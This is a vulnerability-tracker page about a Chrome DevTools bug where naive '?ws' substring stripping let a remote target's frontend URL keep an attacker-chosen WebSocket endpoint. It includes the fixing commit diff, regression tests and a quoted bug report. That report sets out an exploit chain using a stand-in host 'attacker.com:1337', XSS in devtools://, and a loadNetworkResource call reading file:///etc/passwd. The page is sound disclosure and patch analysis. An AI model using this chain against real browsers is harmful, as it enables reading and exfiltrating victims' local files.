Low watch CVSS 8.1 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
8.1
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker498292657
Fix commitf0e52607f491 (chromium/src) +149/-17
CWECWE-693
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle
Reported2026-03-31 (per vendor advisory)
Fix landed2026-04-02 (public git)
Disclosed2026-05-05
Patch gap33 days — fix public in source before the advisory

Background

DevTools device discovery
the Chrome subsystem that enumerates remote debugging targets (e.g. Android devices) and builds RemotePage/RemoteBrowser objects from a JSON list each target advertises.
`devtoolsFrontendUrl`
a string field in that target JSON that tells Chrome which DevTools frontend to load, carrying query parameters such as ws= (the websocket debugger endpoint).
`GURL` / `net::QueryIterator`
Chromium’s structured URL type and its query-string walker, which parse a URL into scheme/host/path/query components rather than treating it as raw text.
`std::string::find`
a naive substring search; find("?ws") matches the literal three characters anywhere in the string, with no understanding of query delimiters.

Root Cause Analysis

The removed GetFrontendURLFromValue built the frontend URL by string surgery: it located "?ws" with frontend_url.find("?ws") and truncated everything from that point with substr. This only ever stripped a ws parameter that appeared as the very first query parameter (literally ?ws...); a ws parameter arriving mid-query (?a=b&ws=...) does not contain the substring "?ws", so it was left intact in the URL that Chrome subsequently used. The input devtoolsFrontendUrl originates from the discovery payload of a remote target rather than from trusted local state, so leaving unexpected or extra query parameters in place meant the constructed frontend URL did not match the sanitized form the code intended to enforce.

The fix parses the string with GURL, rebuilds the URL with the query cleared, and re-adds every parameter except those whose key is exactly "ws" via net::QueryIterator, then appends remoteVersion; it also does the http→https upgrade on the parsed scheme instead of a StartsWith/substr splice. This makes stripping robust regardless of parameter position, count, or encoding, closing the policy-enforcement gap.

Key insight
The single mistake was performing security-relevant query filtering with literal substring search (find("?ws")) that only recognized a ws parameter in the first position; the fix replaces ad-hoc string manipulation with real URL parsing (GURL + net::QueryIterator) so the ws key is removed wherever it occurs.

Attack Path

  1. Advertise a crafted target A remote/debuggable endpoint reachable by DevTools device discovery returns target JSON whose devtoolsFrontendUrl places the ws parameter after other parameters (e.g. inspector.html?a=b&ws=...&c=d). (inferred: attacker control of the discovery payload.)
  2. Bypass the naive strip GetFrontendURLFromValue runs find("?ws"), which does not match &ws, so none of the query is truncated and the attacker-influenced parameters survive into frontend_url_.
  3. Use the unsanitized URL The retained/unexpected query parameters cause the DevTools frontend to be loaded with state the sanitization was meant to remove, yielding insufficient policy enforcement in DevTools as the advisory describes.
  4. Impact boundary The patch demonstrates only the parsing defect and its correction; any concrete escalation beyond loading a non-canonical frontend URL is not shown in the diff (inferred).

Impact Assessment

An attacker who can influence the devtoolsFrontendUrl in discovery data can cause Chrome to construct a DevTools frontend URL that retains parameters the sanitizer intended to strip, resulting in insufficient policy enforcement in DevTools. The vendor advisory rates this low severity, with impact “Insufficient policy enforcement in DevTools.” No exploitation-in-the-wild is claimed, and no memory-safety or code-execution consequence is demonstrated by the diff (any such escalation would be inferred).

Changed Functions

FunctionChangeNotes
if
chrome/browser/devtools/device/devtools_device_discovery.cc
modified
DiscoveryRequest
chrome/browser/devtools/device/devtools_device_discovery.h
modified
TEST
chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
modified

Files Changed

  • chrome/browser/devtools/device/devtools_device_discovery.cc
  • chrome/browser/devtools/device/devtools_device_discovery.h
  • chrome/browser/devtools/device/devtools_device_discovery_unittest.cc

Audit Directions

  • Substring-based URL/query handling
    Flag any find("?..."), find("&..."), or substr used to add, remove, or split query parameters; these mishandle parameter position and encoding and should use GURL/net::QueryIterator.
  • Trust boundary on remote-advertised strings
    Audit other fields parsed out of device/target discovery JSON (webSocketDebuggerUrl, id, title) for similar naive parsing, since all of them cross from a remote endpoint into browser-side URL/state construction.
  • http→https and scheme rewrites via string ops
    Review places that upgrade or compare schemes with StartsWith/substr rather than GURL::SchemeIs/ReplaceComponents, which silently fail on non-canonical inputs.
From f0e52607f4916d593e513df5e89347faa0e12d46 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Thu, 02 Apr 2026 05:42:22 -0700
Subject: [PATCH] Make DevTools frontend URL parsing in device discovery more robust    Use `GURL` and `net::QueryIterator` instead of naive string searches. The previous implementation relied on `std::string::find("?ws")`, which was unreliable for complex query strings.     

Bug: 498292657
Change-Id: I29dff479d013461098c1342aa4b2c72896349c35
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7722383
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Alex Rudenko <alexrudenko@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1609136}
---

diff --git a/chrome/browser/devtools/device/devtools_device_discovery.cc b/chrome/browser/devtools/device/devtools_device_discovery.cc
index ea1ad77..8e4b48f 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.cc
+++ b/chrome/browser/devtools/device/devtools_device_discovery.cc
@@ -26,6 +26,8 @@
 #include "content/public/browser/devtools_agent_host.h"
 #include "content/public/browser/devtools_external_agent_proxy.h"
 #include "content/public/browser/devtools_external_agent_proxy_delegate.h"
+#include "net/base/url_util.h"
+#include "url/gurl.h"
 
 using content::BrowserThread;
 using content::DevToolsAgentHost;
@@ -217,22 +219,6 @@
                             GetStringProperty(value, "id").c_str());
 }
 
-static std::string GetFrontendURLFromValue(const base::DictValue& value,
-                                           const std::string& browser_version) {
-  std::string frontend_url = GetStringProperty(value, "devtoolsFrontendUrl");
-  size_t ws_param = frontend_url.find("?ws");
-  if (ws_param != std::string::npos) {
-    frontend_url = frontend_url.substr(0, ws_param);
-  }
-  if (base::StartsWith(frontend_url, "http:", base::CompareCase::SENSITIVE)) {
-    frontend_url = "https:" + frontend_url.substr(5);
-  }
-  if (!browser_version.empty()) {
-    frontend_url += "?remoteVersion=" + browser_version;
-  }
-  return frontend_url;
-}
-
 static std::string GetTargetPath(const base::DictValue& value) {
   std::string target_path = GetStringProperty(value, "webSocketDebuggerUrl");
 
@@ -287,7 +273,9 @@
       target_path_(target_path),
       remote_type_(type),
       remote_id_(value ? GetStringProperty(*value, "id") : ""),
-      frontend_url_(value ? GetFrontendURLFromValue(*value, browser_version)
+      frontend_url_(value ? DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+                                *value,
+                                browser_version)
                           : ""),
       title_(value ? base::UTF16ToUTF8(base::UnescapeForHTML(
                          base::UTF8ToUTF16(GetStringProperty(*value, "title"))))
@@ -674,6 +662,72 @@
 }
 
 // static
+std::string DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+    const base::DictValue& value,
+    const std::string& browser_version) {
+  const std::string* result = value.FindString("devtoolsFrontendUrl");
+  std::string frontend_url_str = result ? *result : std::string();
+  if (frontend_url_str.empty()) {
+    return std::string();
+  }
+
+  GURL frontend_url;
+  bool is_relative =
+      base::StartsWith(frontend_url_str, "/", base::CompareCase::SENSITIVE);
+  if (is_relative) {
+    frontend_url = GURL("https://dummy.test" + frontend_url_str);
+  } else {
+    frontend_url = GURL(frontend_url_str);
+  }
+
+  if (!frontend_url.is_valid()) {
+    return frontend_url_str;
+  }
+
+  // Convert http to https for absolute URLs.
+  if (!is_relative && frontend_url.SchemeIs(url::kHttpScheme)) {
+    GURL::Replacements replacements;
+    replacements.SetSchemeStr(url::kHttpsScheme);
+    frontend_url = frontend_url.ReplaceComponents(replacements);
+  }
+
+  // Reconstruct the URL without query.
+  GURL::Replacements remove_query;
+  remove_query.ClearQuery();
+  GURL new_url = frontend_url.ReplaceComponents(remove_query);
+
+  // Filter "ws" and add others.
+  net::QueryIterator it(frontend_url);
+  while (!it.IsAtEnd()) {
+    if (it.GetKey() != "ws") {
+      new_url = net::AppendQueryParameter(new_url, it.GetKey(),
+                                          it.GetUnescapedValue());
+    }
+    it.Advance();
+  }
+
+  // Add remoteVersion.
+  if (!browser_version.empty()) {
+    new_url =
+        net::AppendQueryParameter(new_url, "remoteVersion", browser_version);
+  }
+
+  if (is_relative) {
+    std::string path_and_query(new_url.path());
+    if (new_url.has_query()) {
+      path_and_query += "?";
+      path_and_query += new_url.query();
+    }
+    if (new_url.has_ref()) {
+      path_and_query += "#";
+      path_and_query += new_url.ref();
+    }
+    return path_and_query;
+  }
+  return new_url.spec();
+}
+
+// static
 scoped_refptr<content::DevToolsAgentHost>
 DevToolsDeviceDiscovery::CreateBrowserAgentHost(
     scoped_refptr<AndroidDeviceManager::Device> device,
diff --git a/chrome/browser/devtools/device/devtools_device_discovery.h b/chrome/browser/devtools/device/devtools_device_discovery.h
index 178953b..7b8513e 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.h
+++ b/chrome/browser/devtools/device/devtools_device_discovery.h
@@ -144,6 +144,10 @@
       scoped_refptr<AndroidDeviceManager::Device> device,
       scoped_refptr<RemoteBrowser> browser);
 
+  static std::string GetFrontendURLFromValue(
+      const base::DictValue& value,
+      const std::string& browser_version);
+
  private:
   class DiscoveryRequest;
 
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+  struct TestCase {
+    const char* input_url;
+    const char* browser_version;
+    const char* expected_url;
+  } test_cases[] = {
+      // Basic case: no ws parameter.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter at the end.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter in the middle.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // http to https conversion.
+      {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with ws.
+      {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+       "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with other params.
+      {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+  struct TestCase {
+    const char* input_url;
+    const char* browser_version;
+    const char* expected_url;
+  } test_cases[] = {
+      // Basic case: no ws parameter.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter at the end.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // ws parameter in the middle.
+      {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // http to https conversion.
+      {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html",
+       "1.2.3.4",
+       "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+       "inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with ws.
+      {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+       "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+      // Relative URL with other params.
+      {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+       "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+      // Multiple ws parameters.
+      {"https://example.com/inspector.html?ws=1&ws=2&other=3", "1.2.3.4",
+       "https://example.com/inspector.html?other=3&remoteVersion=1.2.3.4"},
+      // Empty browser version.
+      {"https://example.com/inspector.html?ws=1", "",
+       "https://example.com/inspector.html"},
+      // No query part.
+      {"https://example.com/inspector.html", "",
+       "https://example.com/inspector.html"},
+      // Ref preservation.
+      {"https://example.com/inspector.html?ws=1#ref", "1.2.3.4",
+       "https://example.com/inspector.html?remoteVersion=1.2.3.4#ref"},
+      // Relative URL with ref.
+      {"/inspector.html?ws=1#ref", "1.2.3.4",
+       "/inspector.html?remoteVersion=1.2.3.4#ref"},
+      // Invalid URL (not relative, no scheme).
+      {"invalid_url?ws=1", "1.2.3.4", "invalid_url?ws=1"},
+  };
+
+  for (const auto& test_case : test_cases) {
+    base::DictValue value;
+    value.Set("devtoolsFrontendUrl", test_case.input_url);
+    std::string result = DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+        value, test_case.browser_version);
+    EXPECT_EQ(test_case.expected_url, result)
+        << "For input: " << test_case.input_url;
+  }
+}
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 8452511..5d4c79b 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -8225,6 +8225,7 @@
       "../browser/component_updater/soda_language_pack_component_installer_unittest.cc",
       "../browser/component_updater/zxcvbn_data_component_installer_unittest.cc",
       "../browser/devtools/device/android_device_manager_unittest.cc",
+      "../browser/devtools/device/devtools_device_discovery_unittest.cc",
       "../browser/devtools/protocol/cast_handler_unittest.cc",
       "../browser/devtools/serialize_host_descriptions_unittest.cc",
       "../browser/download/download_commands_unittest.cc",
Loading diff…

Original Bug Report

reported by vm...@google.com

Sandbox escape via DevTools ws parameter filter bypass and arbitrary file read

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in DevTools device discovery allows a malicious target to bypass the ws query parameter filter by simply reordering parameters. This allows an attacker to hijack the DevTools frontend WebSocket connection and achieve XSS in the privileged devtools:// origin. From there, the attacker can potentially read arbitrary local files using the unrestricted loadNetworkResource DevTools API.

Affected files:

  • chrome/browser/devtools/device/devtools_device_discovery.cc
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/ui/webui/devtools/devtools_ui_data_source.cc
  • chrome/browser/ui/webui/devtools/devtools_ui.cc
  • chrome/browser/devtools/devtools_window.cc

Estimated timestamp from git blame: 2023-05-08

Vulnerability Details

When discovering remote devices (e.g., via chrome://inspect#devices), Chrome parses the target’s devtoolsFrontendUrl. To prevent malicious targets from hijacking the DevTools session, Chrome attempts to strip the ws (WebSocket) parameter in GetFrontendURLFromValue (chrome/browser/devtools/device/devtools_device_discovery.cc).

However, the stripping logic uses a naive substring search:

size_t ws_param = frontend_url.find("?ws");
if (ws_param != std::string::npos) {
  frontend_url = frontend_url.substr(0, ws_param);
}

An attacker can bypass this filter by ensuring ws is not the first query parameter. For example, supplying ?can_dock=true&ws=attacker.com causes find("?ws") to fail, retaining the malicious parameter.

Furthermore, if the attacker’s device omits the Browser field in its /json/version response, browser_version evaluates to empty. This prevents Chrome from appending ?remoteVersion= to the URL, keeping the attacker’s crafted query string exactly intact.

When Chrome converts this to a devtools:// URL, it checks it against DevToolsUIBindings::IsValidFrontendURL. This function sanitizes the URL and ensures it matches the original. Because can_dock and ws are both explicitly allowed parameters in SanitizeFrontendQueryParam and SanitizeEndpoint (as long as they don’t contain & or ?), the malicious URL passes validation. Finally, because the devtools:// CSP does not restrict connect-src, the frontend successfully connects to the attacker’s WebSocket.

Potential Exploitation Steps

(Note: These are suggested steps based on code analysis; our tooling agent does not have the ability to run live code to verify a full PoC.)

  1. Attacker Setup: The attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in chrome://inspect#devices.
  2. Version Request: The target responds to Chrome’s /json/version request with a payload omitting the Browser field.
  3. List Request: The target responds to /json/list with a devtoolsFrontendUrl pointing to an old, vulnerable DevTools revision on the Google CDN: https://chrome-devtools-frontend.appspot.com/serve_rev/@<vulnerable_revision>/inspector.html?can_dock=true&ws=attacker.com:1337/devtools/page/fake
  4. Filter Bypass: Chrome fails to strip the ws parameter and generates a valid devtools:// URL. The user clicks “Inspect”.
  5. WebSocket Hijack: The DevTools UI loads the specified vulnerable frontend and connects to attacker.com:1337 via WebSocket.
  6. XSS: The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the devtools:// origin.
  7. Sandbox Escape / File Read: The attacker’s JS executes the following embedder message:
    DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///etc/passwd', '', 1], callback);
    
    In DevToolsUIBindings::LoadNetworkResource, requests for file:// URLs are processed by creating a FileURLLoaderFactory with an empty profile_path. On desktop platforms, this grants unrestricted read access to the local filesystem. The file contents are streamed back to the frontend and exfiltrated by the attacker.

Suggested Fix

  1. Robust URL Parsing: Update GetFrontendURLFromValue in devtools_device_discovery.cc to use a proper URL/query parser (like GURL or net::QueryIterator) to securely locate and remove the ws parameter, rather than relying on a naive std::string::find("?ws") search.
  2. Restrict Local File Access: Audit and restrict DevToolsUIBindings::LoadNetworkResource so that the DevTools frontend cannot arbitrarily load file:// URLs using an unrestricted FileURLLoaderFactory, unless the inspected target itself is a file:// URL.
  3. CSP Hardening: Consider tightening the connect-src CSP directive for devtools:// pages to strictly limit where WebSockets can connect.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker